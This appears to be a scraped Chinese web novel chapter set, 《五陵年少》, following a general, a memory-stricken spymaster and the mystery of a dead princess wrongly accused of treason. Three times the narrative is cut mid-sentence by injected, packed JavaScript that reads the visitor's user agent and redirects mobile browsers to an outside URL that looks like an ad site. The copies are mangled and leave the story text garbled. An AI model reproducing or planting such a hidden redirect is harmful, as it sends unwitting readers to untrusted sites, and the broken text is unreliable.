《五陵年少》 1. 楔子 ——振威二十三年,隆冬—— “吁——” 宋安澜勒住缰绳。褐色骏马随着她的动作半身立起,长嘶一声,扬起一片雪尘。不等马站稳,她翻身而下,向迎面跑来的副将喝问道:“有消息吗?” “蕲州落棋阁的人说,有人见过疑为阁主的人进了青州。”副将王逸沉声道,“将军,已经是酉时末,雪夜行军,兄弟们都很疲累——” “点五十个人同我去青州。”宋安澜直接打断了他,“速度要快。” 王逸目光闪动,发白干裂的双唇微张,似乎想要说什么,但目光触及宋安澜如同坚冰一般的神色,只能告退点兵。宋安澜目送他向着军营走去,直至他宽厚的背影被风带起的雪尘淹没。身边的马有些焦躁,在原地转圈踱着步。 “你说她为什么要走?”她轻声问道,“为什么是青州?” 马不能回答她,只是打了一个响鼻。又开始飘雪了,她喃喃道:“我倒是指望她别回来了。” 人点齐了。黑色的劲骑在雪中穿行,如同一把利刃,直直指向百里外的青州。 天色一点点地暗下去,只有洁白的雪地闪烁着微光。宋安澜远远便看见了青州城墙上城防兵点起的火把,如同萤火在黑夜中跳动,火光照耀下,城墙上黑影重重。上面的人似乎看见了他们,无数光点在向城门上方聚集。 莫名的焦虑在心中酝酿发酵,宋安澜一咬牙,双腿再次夹击催马,如同离弦的箭一样冲了出去,身后五十骑兵人乏马疲,竟一时间被她甩下。 城门随着她靠近一点点打开。一个粗哑的男声在在城上高喊:“将军——城内未能发现姬泠踪迹——” 她下意识随着喊声向上望去,却在目光触及城上的瞬间浑身冰凉,不由得嘶声大喊:“姬泠——” 城墙上有一处已经荒废的瞭望塔,不知为何还没有拆,正在狂风中微微颤抖晃动。而在那塔上,竟摇摇欲坠地站着一个人。那人身形单薄,一身白布麻衣,一头秀发扎作一个紧实的发髻,虽然远隔数十仞,但多年并肩同袍的情谊还是让她一眼认出来了。宋安澜又大吼一声:“姬泠——你给我下来——” 喊出来的瞬间她便知道自己恐怕说错了话。可是来不及犹豫了,她毅然弃马,腰间剑出鞘载着她御剑而上,想在城上人跳下之前接住她。 那一瞬间,隔着重重风雪,她看见了姬泠的眼睛。 那双眼和雪一样冷,和塞外的朔风一样冷。 眼睛的主人的唇角掀动,轻轻说了一句话。宋安澜还没来得及反应过来她说了什么,霎时间火光一闪,瞭望塔的一根支柱拦腰折断。塔身顺着风势斜倒,她只得狼狈躲开。 “姬——泠——” 一声巨响,瞭望塔轰然倒地。一丝鲜红从那废墟下缓缓渗出。宋安澜呆呆地看着,耳鸣声几乎淹没了众人的嘈杂。她连心神不定,以至剑身在急速下坠都没能注意到。 姬泠说的是:“此身此生,不负山河。” 宋安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195750|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澜重重栽到了雪地上,柔软的积雪像一个冰冷的怀抱,她深陷其中,嘴大张着,却不能呼吸,雪粒落到嘴里,化作了酸涩的咸。 她喊:“阿姐——阿姐——姬檐雨——你回来啊——” 《盛史》载:定国将军之次女,名曰姬泠,字檐雨,生于前朝六十一年。振威六年,其双亲殉道,帝甚怜之,遂收为义女,封号长安公主。泠自幼聪颖,过目不忘,常有奇思妙计。及至成年,投身北安军,摄北安军师之职。十八年秋,北安军主帅宋酿突失其踪,北贼乘隙而入,泠摄副将之职,辅佐宋安澜守青州,重伤昏迷,四月方苏,后归朝廷。 二十三年春末,北贼大举来犯,连陷五城。御史大夫韩玉青于朝堂之上直指泠叛国,以书信为证,举国震惊。二十三年十月,战事稍歇,帝禁泠于长安宫,衣食如常。二十三年腊月,泠自禁中逃出,北上至青州,自高处坠下身亡,遗言曰:“此身此生,不负山河。”帝悲痛欲绝,责令三司重审姬泠叛国一案。 而这些都是后话了。 二十四年元月初二,宋安澜自哀病中醒来,草草料理了姬泠的丧事。她是罪人,不能厚葬,又因着高坠,尸身破碎难堪,最后只能找了条干净席子收殓下葬,草草插了块木板充作墓碑。 还没等她自悲痛中缓转,青州落棋阁传讯,说是两个月前派去北周的探子被救回,外伤极重,神志不清,需要借宋安澜之手护送回盛都朝歌休养。 她只得再次扬鞭启程,奔向北疆。 2. 第一章 青玉案 一 ——临安城,采绣楼—— 京都西南角的西市中,一座三层高的小楼伫立于诸多商铺之间。恰逢七夕,金吾不禁,西市也颇为热闹,这挂着“采绣楼”牌匾的布庄自然也不例外,挽着手的男男女女来往其间,络绎不绝。然而,但凡有人多看这小楼两眼,便回发现这楼的异常——平日里老板声称作为库房的二三楼此刻也灯火通明,不时有行色匆匆的男子从采绣楼后门进入,很久都未出来。 事实上,本朝禁风月场所,但管辖力度薄弱,收效甚微,依然有不少人仗着家里关系,暗中开设此类场所,采绣楼便是其中之一。此间主人格外胆大,大隐隐于市,因着格外方便,不少朝中高官也爱光临此处,陈筑便是其中之一。 陈筑是朝中出了名的青年才俊,二十七岁便官居四品。因着尚未娶妻,不少人都指望着将自家女儿塞入他房中,然而都未成功,众人都以为此人一心仕途,谁知他居然会暗中光顾这种地方。 陈筑熟门熟路地上了三楼,打开一处房门闪身进去,其中早有两个“绣娘”跪在墙边等候。他回到了熟悉的地方,放松了下来,长舒了一口气,一屁|股坐在床上,随手指了一个“绣娘”道:“你,过来给我揉揉腿。” 她指的那人低眉顺目地膝行上前,半个身子依偎到他怀中,给他捶揉起来。而另一个人自觉站了起来,走到桌边倒茶奉上。陈筑将茶一饮而尽,随口道:“好像还没见过你们俩,叫什么名字?之前的采薇呢?” 倒茶那人道:“奴名采寒,姐姐名叫采奚,采薇姐姐今天身子不爽利,所以首席派我们二人来服侍大人。” 采绣楼为了防止出事,“绣娘”换得很勤,所以陈筑并未对面前的两个生面孔起疑,而是享受起了温香软玉在怀的时光。 桌上的熏香暗暗蒸腾,正当陈筑觉察今日这熏香起效过慢,没有兴致时,房间的门突然被推开,“身子不爽利”的采薇出现在了门口,后面还跟着另一位“绣娘”,一时间十目相对,采薇手上的花“啪嗒”一声掉到了地上:“你们两个是谁,怎么在陈大人房中,来——” “来人呐”尚未出口,那“采寒”便骤然出手,只听得“咻咻”两声,门口二人便晕厥了过去,陈筑也察觉出了不对,一把勒住了怀中“采奚”的脖子。 那采奚在异变突生时便想躲开,却还是慢了一步——一把指间刃凭空出现在她脖颈间。陈筑挟持着她站了起来,居高临下道:“你们是谁?交代清楚,不然我杀了她!” 虽然被人拿捏住了性命,但那采奚却毫不慌张,冷冷道:“陈筑,我劝你还是老实交代吧,落棋阁的棋子已经下到了此处,你个‘头雁’还能挣扎到几时?” 话音未落,那采寒从袖中掏出一把软剑,欺身上前。陈筑心头一紧,下意识把指间刃往下一压,谁知还未使上力,他眼前便突然一黑。那采奚仿佛早料到有此一出,找准时机扣住他手上麻筋,便挣脱开来,下一瞬,采寒的剑便到了他面门,两人合作可谓天衣无缝。 这陈筑虽然反应快,武功却远远不敌采寒,更别提刚开始便落了下风,狼狈躲开了采寒的第一剑,却也让中段空门大开,第二剑顷刻而至,一剑捅穿了他侧腰。陈筑痛呼一声,采寒一脚跟上,将他狠狠踩到了床上,随后行云流水地卸了他下颌和手脚关节。陈筑杀猪般地惨嚎了一声,便像团烂肉一样软软地倒在了床上。 “漂亮。”任务完成,采奚——蒋奚也不复刚刚那般装模作样,爽朗道,“梅臣,身手进步不少嘛,之前我还有点但心只有咱俩行不行呢。” “还是你未雨绸缪,把香先点上了。”被称为“梅臣”的姑娘淡淡道,“走吧,物证具在,这人就是咱们一直在找的那个朝中的‘头雁’,把他带回阁中细细审问好了。居然有人把重要东西藏在青楼里,真是鬼才。” “嗯,今天这活挺顺,明天就知会安澜姐把这地掀了。”蒋奚走上前来架住了陈筑,“梅臣,你架他那边,省力一些,这人怎么这么沉。” “梅臣……?”听到这个名字,陈筑不知想到了什么,嘶声道,“你是顾梅臣?顾岁寒?” 顾岁寒换了一个架他的姿势,没有吭声。陈筑变相确认了他心中的猜想,如同闻了烈药的种马般,眼中亮起了摄人的光芒:“哈哈哈哈哈,你居然养好了伤,还让咱俩遇上了!顾大侍棋,你不记得我,我可记得你,你当时在我归雁台的牢里那么狼狈,半年后还想欺到我归雁台头上来!我告诉你顾岁寒,你休想!雁首早早便盯上了你,你一辈子都别想走出那个雁牢!唔……” 顾岁寒换了姿势,腾出了手将他一手刀劈晕,周围瞬间安静了下来。蒋奚奇道:“咦?你不听听他后面怎么说?我还以为你会好奇归雁台那边准备怎么对付你呢。” 顾岁寒闷闷的声音从那边传来:“聒噪。等回头进了棋牢,什么都能审出来,现在让他大喊大叫只会打草惊蛇,明天这采绣楼就会变成一座寻常的布庄。” “这不是有隔音的术法嘛……”蒋奚哼哼道,但也没有多说,顺着顾岁寒的力将陈筑抬去了墙边。顾岁寒空着的那只手搭上了那面墙,原本空无一物的墙面上浮现出了一个发着荧光的阵法。 那阵法不断旋转,扩大,直至一人高,两臂宽。顾岁寒先行踏入了阵法之中,一阵天旋地转,再次脚踏实地时,外面已经换了天地。早有人在外面等候着她们,见到阵法波动便迎上前来:“顾执棋,蒋侍棋,可还顺利?” “不算顺利,但也算有惊无险。”顾岁寒将人“嘭”的一声扔到了地上,“不过那边有些事要收收尾,有两个无关的姑娘被我打晕了,你们记得去处理一下。我去和定北侯商量一下采绣楼的事。” 迎接她那人说:“遵命。对了执棋,谢侍棋回来了,说要找……” 话还没说完,顾岁寒跟没听见似的一头又扎回了还未消散的阵法里。那人的话卡在了一半,有点莫名:“今天谁惹着执棋大人了?” 蒋奚耸耸肩表示不知道:“或许是地上这个吧。你们把他押去棋牢里吧,记得绑严实点。话说你刚刚说什么来着,谢侍棋回来了?” 作为本朝最大的情报网,落棋阁设执棋一位,统管全阁,左执棋、右执棋各一,分别掌管阁内的黑、白两色棋,除此之外便是黑棋、白棋若干,黑棋行于夜色,多行刺杀、潜行之事,白棋多在明面,干的是乔装窃密之举。 一言以蔽之,左执棋分管黑棋的刺客,右执棋分管白棋的探子。 今夜,落棋阁本来只是想要暗中查探陈筑是北朝情报网“归雁台”的人的证据。这事原本随便派两个黑棋潜入采绣楼就能解决,但顾岁寒大病初愈,非说要干点活疏通一下筋骨。执棋都出马了,作为右侍棋的蒋奚实在不放心,自然随行。 谁知两人在采绣楼陈筑常用的房间翻找时,刚打开一个暗格找到一枚证明陈筑身份的“雁牌”,本来应当在府中处理公务的陈筑却突然出现在采绣楼后门。 快刀斩乱麻,两人干脆一不做二不休,设下迷香准备将陈筑迷晕后直接带回阁内,谁知中途杀出了个采薇,引发了一番波折。蒋奚白棋出身,虽然生得玲珑心思,武功却是平平,好在顾岁寒虽是旧伤在身,武功却是没落下,这趟任务才算是圆满完成。 蒋奚心说今天出门真是没看黄历,目光移向墙上那个消失了的阵法,心思又不由得移到了顾岁寒的身上—— 这位顾岁寒,也是位奇人。她出身边塞名门青州顾氏,家里满门忠烈,父母更是在她尚在襁褓中时就殉了国。 先帝怜她孤弱,将她接进宫教养,这姑娘也是不负众望,小小年纪就天资聪颖,被上一任落棋阁的执棋张首晟看中带进了落棋阁。 这事先帝本来不是很乐意——落棋阁毕竟是个卖命的地方,把忠烈之女塞进去算个什么事?但耐不住顾岁寒自己执意要来,只得作罢。 刚进阁时,张首晟念在她家世代武功传承,学武天资应当不错,便将她当成黑棋教养,谁知随着年岁渐长,顾岁寒的武功固然不错,易容伪饰之类的手艺却是益发强了起来,再加上顾岁寒作为黑棋命根的轻功始终练得差强人意,张首晟干脆将她转去了白棋。 转来白棋后,众人才发现顾岁寒待在黑棋实在是明珠蒙尘。她在白棋的功课样样第一,学起人来惟妙惟肖,演起戏来天衣无缝。 白棋结业时她扮作张首晟的一位老友和他畅聊一日,一直到暮色四合真正的朋友推门进来,张首晟都才意识到和自己闲聊了一日的“老朋友”居然是个假货,而自己居然连第一次上战场时紧张地尿了裤子这种事都告诉给了这位演技精湛的后生。 当时他便抚掌长叹:“落棋阁有岁寒小友,大善!大善!” 而这样的一位天才,大半年前却败在了北朝归雁台的“雁主”手下,被囚禁了月余,用尽酷刑。据说去接应她的人找到她时,她身上没有一块好肉,光是致命伤就有大大小小十余处,得亏顾岁寒这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那白棋诺诺应是,飞快地跑开了。蒋奚忧愁地看着他的背影,心想:“如果你还在就好了……梅臣现在恹恹不振,这阁里又该怎么办呢?” 正想着,背后突然有人喊她,声音里有些犹疑:“——蒋侍棋?” 那声音离得很近,她被吓了一跳,转过身去发现这声音的主人十分眼熟——她惊讶道:“谢……谢侍棋?你回来了?怎么都不叫人通报一声?轻悄悄的,唬我好大一跳!” 谢侍棋——谢停舟抱歉道:“在下喊蒋侍棋好几声了,可能是蒋侍棋有心事,才没注意到在下。也怪在下甫一上任便远走西北,蒋侍棋恐怕不熟悉在下的声音。” 谢停舟是前任落棋阁执棋姬泠去世后新领命的落棋阁左侍棋。与此同时,他还有一重更重要的身份——姬泠正经三媒六娉订过婚的未婚夫。姬泠含冤身死后,先帝悲痛欲绝,责令落棋阁协同刑部重查姬泠通敌一案,这谢停舟就是被派来协助落棋阁的。 蒋奚信任姬泠,自然对谢停舟也颇有好感,现如今倒是被谢停舟这一串“抱歉”“怪我”搞得十分不好意思,连连摆手:“无妨无妨,谢侍棋是来找执棋的?不巧,她刚回来就去定北侯那边了,侍棋若有急事的话不妨去定北侯府上拜访,执棋目前也暂住侯府,今晚可能不会回阁中了。” “啊,无妨,多谢告知,在下不着急。”谢停舟拱手行了一礼,“今晚定北侯府上恐怕有家事处理,在下就不去添乱了。对了,蒋执棋称在下表字停舟即可,不必拘礼虚职。” “啊?家事?”蒋奚莫名,“侯府上有什么家事是我们白棋都没听说的?” 谢停舟摆摆手表示自己不便多说,转身就往自己的值房走去了,徒留信息不通的蒋奚在原地一头雾水。 与此同时,定北侯府上—— 穿过了空间法阵的顾岁寒还没来得及缓过法阵带来的眩晕感,就听见十丈之外的书房里传出一声怒喝,惊起一阵飞鸟:“孤不想留下这个孩子!如今北疆战事刚定,时局尚且动荡,更何况阿泠的冤屈还在等着人去洗雪,孤就算再想要个孩子也不该是现在!一来一去耽误至少半年光景,孤如何能放心得下这诸多身外事?” 一个男声好生劝慰道:“既然不想留就找个日子让太医来开药流掉就好了,何必动这么大气?” “还不是宋礼那个臭小子!”女声的主人一拍桌子,顾岁寒感觉自己脚下的大地都在隐隐震颤,“又是劝孤留血脉又是劝孤不要伤身体坏礼法,说白了不就是想要趁孤怀孕时要了孤的兵权吗?外敌未定就开始对自己人耍手腕,这小子真是出息了!目光短浅,气煞我也!” 男声又劝了些什么,不过这下声音低了许多,顾岁寒听不清了。她想了想,走过去叩了叩书房紧闭的门扉,低声道:“殿下,是我,梅臣。” 门打开了。门里,劲装女子放下了施法的手,倚在太师椅上,疲惫道:“来了,梅臣。帮孤来拿拿主意。” 3. 第二章 青玉案 二 顾岁寒顺着她的目光坐到了下首的椅子上,诚恳道:“殿下,我真的不擅长这些的,朝中的事我听着就犯怵。” 宋安澜柳眉一竖:“你不是白棋吗?白棋不都很擅长这种弯弯道道的事?” 顾岁寒不知道这话怎么接,只好闭上了嘴。一直在一边陪着的男人来打圆场:“这毕竟是咱们的家事,梅臣不方便插嘴不也正常?” “你还好意思说!”一提起这个顾岁寒就气不打一处来,“要不是你我能有这个孩子?还至于有现在的烦心事?” 男人自知理亏,缩到了一边不接话了,五大三粗的身材硬生生给他缩出了猥琐气质。注意到顾岁寒略带疑惑的目光,宋安澜解释道:“这位是我夫君,镇西军的主帅姬昀姬灼晔……哎呦我的梅臣小宝贝,你怎么什么都不记得了,这可怎么办哦。” 顶着宋安澜慈母般的目光,宋安澜更不知道说什么好了。虽然她从受伤醒来后第一眼见的就是宋安澜,之后也一直在她府上生活,但不知为何对宋安澜随时随地的关系一直都不太适应。宋安澜看着她窝窝囊囊的样子,更加惆怅了:“算了,这事也不能光为难你,你也忙着呢,先走吧,我和姬昀再商量商量……哦对了梅臣。” 见她毫不犹豫想溜,宋安澜开口喊住了她:“前两天定北军的一支斥候巡逻时捡到了这个,辨认了一下应该是你的剑,你拿好了。”说罢从旁边拿起一把重剑就丢了过来。顾岁寒眼疾手快地接住,好悬没被这剑带了一个大跟斗:“——我的?” “对啊,错不了,剑铭上写着呢,这就是你的展锋。”说罢宋安澜挥了挥手,“你先走吧,这边用不上你帮忙——姬昀,你把梅臣送回她房里去,她老迷路。” 顾岁寒刚想拒绝,但见宋安澜态度坚定,只好又闭上了嘴。姬昀追上她,和她并肩走出书房外,又落后半步带上了门。 两人并肩走在侯府的小路上。顾岁寒刚刚醒来时听侯府的家将讲过,这处府邸是盛都朝歌南迁后征用了当地富绅的园林改的,所以不同于模仿旧都皇宫的南都行宫,侯府里假山绿水,白墙黛瓦,颇有江南风情。两人行在夏夜里的蝉鸣中,一路默默无声。直到顾岁寒所住的那处客房在林间露出了一个檐角,姬昀才突兀开口问:“我妹妹……姬泠的那个案子,查得如何了?” 听到姬昀的名字时顾岁寒就猜测过他是不是和姬泠沾亲带故,如今这称呼算是坐实了她的猜想。顾岁寒摇摇头:“抱歉……我近日大病初愈,刚刚接手落棋阁中的事宜,还没来得及细查。” “好吧。”姬昀失落地叹了口气,目光沉沉,“舍妹的事麻烦执棋阁下多上心了……在下还要回去处理家事,客房就在潜伏,失陪。哦,对了。” 他又想起什么事,停住了脚步:“舍妹一案绝不简单,落棋阁也并非看上去的那样铁板一块。顾执棋,多加小心。”说罢转身匆匆走了。 顾岁寒看着他的背影消失在绿竹掩映中,才返身慢慢往回走。新到手的佩剑——或者说武器,这重剑的形状显然已经不再适合被佩在身上了——沉沉地压在手中,顾岁寒心中的困惑却也越来越大。她推开客房门进入屋中,关上了门,却没有着急点亮蜡烛。一片昏暗中,她准确地找到了自己的床榻,将整个人掼到了床上,重剑顺着她的手掉到了一边。 五个月前,她便是在这张床上醒来。周围都是陌生的环境,她的记忆断断续续,对自己的处境一无所知,只有陌生的人和太医围着她转来转去。直到后来她渐渐好转,每天不再需要人日夜看护,宋安澜才来和她讲了一些之前发生的事。 从宋安澜还有后来的蒋奚口中,她得知了自己曾是落棋阁最为出色的白棋,初代阁主张首晟最为之骄傲的徒弟,数次卧底未尝败绩。直到去岁九月,北疆周朝的“归雁台”雁主沈和正率领台中数十精英鬼魅一般地出现在距北疆千里之遥的落棋阁总部。 事发突然,又是晚上,落棋阁总舵仅有不到五十人值守,且大多都是还未出师的学徒,一时之间人仰马翻。沈和正等人却并不恋战,一路长驱直入闯入落棋阁内库中夺走了南盛的镇国之宝碎曦剑。 这碎曦剑与那空有名头的尚方宝剑不同,是实实在在的杀器。它是前朝炼器大师林海铮的封炉之作,以乱葬岗下矿脉中的玄铁锻炼两年而成,期间林海铮的两个弟子先后在七月十五跃入炉中祭剑。剑出炉时方圆十里百鬼哀哭,帝都上空的黑云盘旋轮转,久久不散。林海铮看到剑成,大笑三声气绝而亡。 后来人看到剑上光华轮转,光打到剑身上便会反射为无数碎镜般的华光,遂为之起名“碎曦”。碎曦剑的剑胚被无数冤魂滋养数十年,锻剑过程中又先后吞下三人性命,自然煞气非常。南盛人大多修道,但修道之人只要长期佩戴此剑无不被其中煞气影响,最终走火入魔。不仅如此,一般人只要被这剑伤到,哪怕是再小的一个伤口,都会邪气入体,痛苦而亡。修士对此剑或能抵御一二,但也收效甚微。 这剑辗转数人手中,最终落到了张首晟手上。张首晟思量再三,决定将此剑封入落棋阁内库,除非战乱再不取出。沈和正不知从何处得知了此剑的确切位置,偷出后如虎添翼,杀出落棋阁外,正好遇见了听到消息前来阻拦的张首晟。张首晟年逾半百,面对正值盛年的沈和正心有余而力不足,交手数百招,最后被碎曦剑一剑穿心。 等到当时正在南都休沐的左侍棋姬泠赶回来时,落棋阁的总舵已经没有活口了。 仓促间落棋阁剩下的棋子们推举姬泠成为新一代的执棋。然而还没等姬泠开始着手调查总舵暴露并策划夺回碎曦剑,北周就悍然发兵,在碎曦剑的帮助下接连攻占北疆青州十三城,作为定北军的军师,姬泠只好暂时放下手里的事奔赴前线。然而还未等她动身,御史大夫韩玉青就上书弹劾她里通外国,并有往来书信为证。 那书信足有数十封之多,是姬泠的妹妹姬漓自姬泠书房中找出的。姬泠大呼冤枉,先帝也不甚相信,但无奈实在是多事之秋,只好暂时将姬泠收押宫中,另派小将石沣至北疆前线。 碎曦剑在北周手中可谓是如虎添翼,南盛不能不夺。先帝勒令落棋阁两月之内必要夺回碎曦剑,务求一击即中。高压之下,顾岁寒——也就是她自己,请缨前往北疆前线,先帝应允。 故事直到这里顾岁寒还有些模模糊糊的印象,之后的事记忆就彻底成为白纸了。据当时在前线领兵的宋安澜说,她先是到青州的落棋阁分舵落了一下脚,随后就越过前线到了已经被攻占的松青府。她潜入后两旬多,北周大军突然起了一阵骚乱。北周之前埋伏的白棋传回消息说或许是碎曦剑失窃。 收到消息后,宋安澜凭借自己多年沙场经验带来的直觉,悍然发兵反扑。北周军虽然有所防守,但是战阵中再无碎曦剑的力量。这情形愈发印证了白棋的消息和宋安澜的猜测。宋安澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195752|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接兵行险招,放弃守城全军出击,拿回了包括松青府在内的三座城池。 战事至此已是隆冬,北周军失去了碎曦剑的支持,气势一下萎靡不振了起来。宋安澜带了一支精骑,绕后截下了北周军的粮草供应,将足足万石的粮草付之一炬。北周军自此难以为继,逐渐颓败。至元月,北周军夺下的十三城已经全部拿回。 但令人忧心的是,虽然碎曦剑不在北周手上,碎曦剑也不在南盛手上——落棋阁一直没有收到有关顾岁寒半个字的消息。没有碎曦剑帮助,宋安澜也没底能乘胜追击,于是暂时偃旗息鼓。这期间本来该在禁中的姬泠莫名失踪,并在一日后被发现自戕于青州的青州府城楼上。宋安澜安葬昔日同袍后,在城外五十里的界碑处捡到了重伤的顾岁寒。 顾岁寒身上很可能有碎曦剑的消息,宋安澜不敢怠慢,御剑星夜兼程带她回南都诊治。然而结果也显而易见——顾岁寒命大活了下来,却变成了一个一身伤病,记忆不全的半废人,而且一点有关碎曦剑的消息也没有。但她毕竟大概率是那个夺回了碎曦剑,在一定程度上决定了战局的功臣。根据落棋阁执棋的传承标准,她接过了姬泠的衣钵,成为了新一代执棋。新帝感念于她的功勋,给她封了个虚职不说,还赐下了各类赏赐。 于是,顾岁寒就莫名其妙地成为了一代功臣。 “这样也挺好。”顾岁寒心说,“我用努力和痛苦换来了功勋,然后忘了自己经历过怎样的痛苦,岂不是相当于没当值却直接拿到了俸禄?” ——这话之前她也和宋安澜说过,换来了宋大将军的一个白眼。顾岁寒将这自动理解为了宋安澜嫉妒她——这很人之常情,她要是知道有人不劳而获也这么翻白眼。但是宋安澜当时的眼神更加复杂,她说:“梅臣,你以前不是这样没心没肺的。” 没心没肺没什么不好。她心说,想太多容易痛苦。 当然,毕竟接过了落棋阁执棋的活,她还是要意思意思的,别真把落棋阁干垮了,这下她真成千古罪人了——她只是没心没肺,暂时还不想遗臭万年。新的右执棋蒋奚听说了自然也很乐意,忙不迭地辅佐她了解阁内大小事务。 半个月下来,顾岁寒可喜地发现自己在干这行上还是很有天赋的,不愧是别人口中曾经的天才,具体表现在很多事一点就透,不用教试试就会,最重要的事,当武器来到她手中时——无论是什么武器,她都使得得心应手。 这种身怀利器的感觉令她着迷。记忆模糊不清,过去扑朔迷离,但只要她手中抓着可以自卫的武器,她就可以所向披靡。武器于她,就好像船舵之于江船,给她以乘风破浪的勇气。 但这其中有个例外——她将目光移向了被她放在一旁的展锋剑,缓缓坐了起来,将剑拿在了手中,轻轻一拧打开了剑鞘上的搭扣,把剑拔了出来。 她琥珀般的瞳仁里映照着剑身上的剑铭“展锋”二字。这剑是好剑,锋芒毕露;字也是好字,遒劲有力。唯一的问题是,这是一柄重剑。 重剑,顾名思义,沉而大。普通的剑招以刺挑为多,而重剑的剑招则更加接近刀法,以劈砍为主,需要持剑者用躯干力量带动剑身,剑招更加笨重,相应的更适合自身力量刚强,骨干力量更大的武者。 然而这么多天练武下来,顾岁寒对自己的身体一清二楚——她骨架偏小,所有招式都是走快而灵的路子,是绝对,绝对不适合用重剑的。 4. 第三章 青玉案 三 身上的旧伤不会改变她固有的武功路数,所以这把剑绝对是不适合她的。那么,她为什么要用这把剑?还是说,宋安澜给的剑有问题,这把剑根本就不是她的剑? 如果是后者,那么宋安澜到底是在故意试探,还是无心之失? 这种事显然是不好直接向当事人求证的,但在这里干想显然也不会有结果。顾岁寒将目光重新投回了剑身上。这把重剑是用黑铁锻造的,整把剑足足有两掌宽,半身长,夜里不经意看过去时,黑沉沉地仿佛将周围的光都一口吃进去似的。 她一挥手把屋里的两盏蜡烛都点起来,屋里一下就被暖融融的光填满了。她再细看这剑时,作为武人的本能让她真是越看越欢喜——这剑身虽然笨重,锋却开得很锋利,光是放在她腿上时剑自身的重量就把两侧的布料划开了细细的口子;剑上隐隐有冷铁掺杂着灰尘的气味,说明这剑应当有一段时间未曾使用了,剑面上却很干净,没什么铁锈的味道,连暗纹里都没有血垢堆积……等等,暗纹? 顾岁寒眯起眼睛,细细看了起来,才发现了这剑上的玄机——她将剑柄上防滑的麻布条拆下来,里面金属的部分竟是被纵向一剖为二的。她来回试了两次,最终将剑柄向两边打开的同时使一个上下拆开的巧劲,重剑便顺着这力道拆分成了两把长刀。 顾岁寒颠了颠刀,发现虽然用起来还是有些别扭,但是顺手了许多,双刀也更适合她的武功路数,遂十分满意地收下了,将最开始的重剑理解为了曾经的自己为了方便携带双刀而设计的机关。她拿着新武器在房里试了两招,刀风过处烈烈作响,刀锋处的一线银光好似能割裂空气似的所向披靡,收招时带出的刀风甚至将远处烛台上的烛芯都削短了一截。 “好刀!”她心说,“有这刀,管他是‘宋礼’还是‘送终’,‘姬泠’还是‘木讷’,一刀过去,什么妖魔鬼怪不是都要显形吗?” 自打她从病中苏醒,这些送礼机灵之类的破事就一直在她耳边晃荡。前脚姓谢的大老远就来递名帖说要她帮忙给姬泠申冤,后脚宋安澜就被宋礼烦得在家里叽嘹跳脚,可是——顾岁寒有几分没心没肺地想——这和她有什么关联呢? 退一万步讲,她从北周回来,立下了那样大的功勋——虽然她自己不记得了——她就不能躺在功劳簿上安安稳稳地过一辈子吗? 这样想着,她抱着又被自己顺手合回去的双刀,躺回了特意多铺了两层褥子的软榻上。新弹的棉絮将她温柔地包裹在中-央,好像还是稚子时母亲的怀抱那样包容。 没错,就是这样,她继续想,那样大的功勋,就算她不怎么记得,身上落下的旧伤做不得假。她可是实实在在地在生死边缘走了一趟,现在身上还有各种的不痛快,一到阴天就各处发痛发痒。她现在只想趁早找个机会跟皇帝请辞,把手头的事交给那个忙起来跟上了发条似的不知疲倦的小蒋奚,去个山清水秀的地方,无事喝茶抚琴,旧伤发作时就往榻上一躺昏个十天半月的养伤。就算哪天死那里了,也算是魂归天地,现在在这么个“执棋”上劳心劳力算什么事? “可是,”她心里有一个声音细细地说,“你真的能就这样放心一走了之吗?” ——是的。固然从北周的表现上可以判断,她夺走碎曦剑的任务应该是成功了,但是碎曦剑也不在南盛手上。只要这剑一天没在南盛朝廷手中,就是多一天的祸患,倘若被哪个坏藏祸心的人捡走,那更是能挑动一方风云。至于落棋阁,虽然蒋奚是个勤勤恳恳的牛马,但很明显她还是个愣头青,抓个陈筑的功夫就差点出事,落棋阁交到她手中未来简直一眼到头。 最重要的是,姬泠和宋安澜——虽然她已经记不清以前的她们了,可是直觉告诉她,她们曾经是很好的朋友。如果是朋友的话,她是不是应该伸出援手呢? 她看着头顶水色的床帐,头疼地翻了一圈,脑袋里两个念头此起彼伏打架,无论如何都想不出个所以然来,反倒煎熬得她心里有股火在烧似的。就这么想着想着,她渐渐地睡着了,做了一宿乱梦,醒来后也不记得做了什么,只觉得脑子像被展锋敲了似的疼。 而她昨晚关于她和姬宋二人之间关系的猜测,也很快被宋安澜推翻了。 “梅臣,我知道你之前和檐雨关系可能有点僵,但是,”早上,宋安澜把她叫起来一起用早膳。桌上,她身体微微前倾,真挚地直视着顾岁寒,“阿泠这个事情牵涉并不像表面那样简单,别的不说,就算是为了大盛,为了我,能不能请你暂时放下以前和阿泠之间的龃龉,多多费心查查阿泠的案子?” 顾岁寒有种不真实的感觉:“……我和姬泠关系不好吗?” 可是,可是……她拼命在脑中搜寻关于姬泠的回忆,发现自己真的半分关于她的记忆也无,所有对她的了解都源于醒来后他人的描述。这个认知让她骤然有了一种一脚踩空的感觉,仿佛一切都不真实了起来。 觑着她难看的神色,宋安澜还以为自己不小心踩到了她的什么伤疤,忙解释道:“其实我也不是很清楚,只是从阿泠那里听说的。” 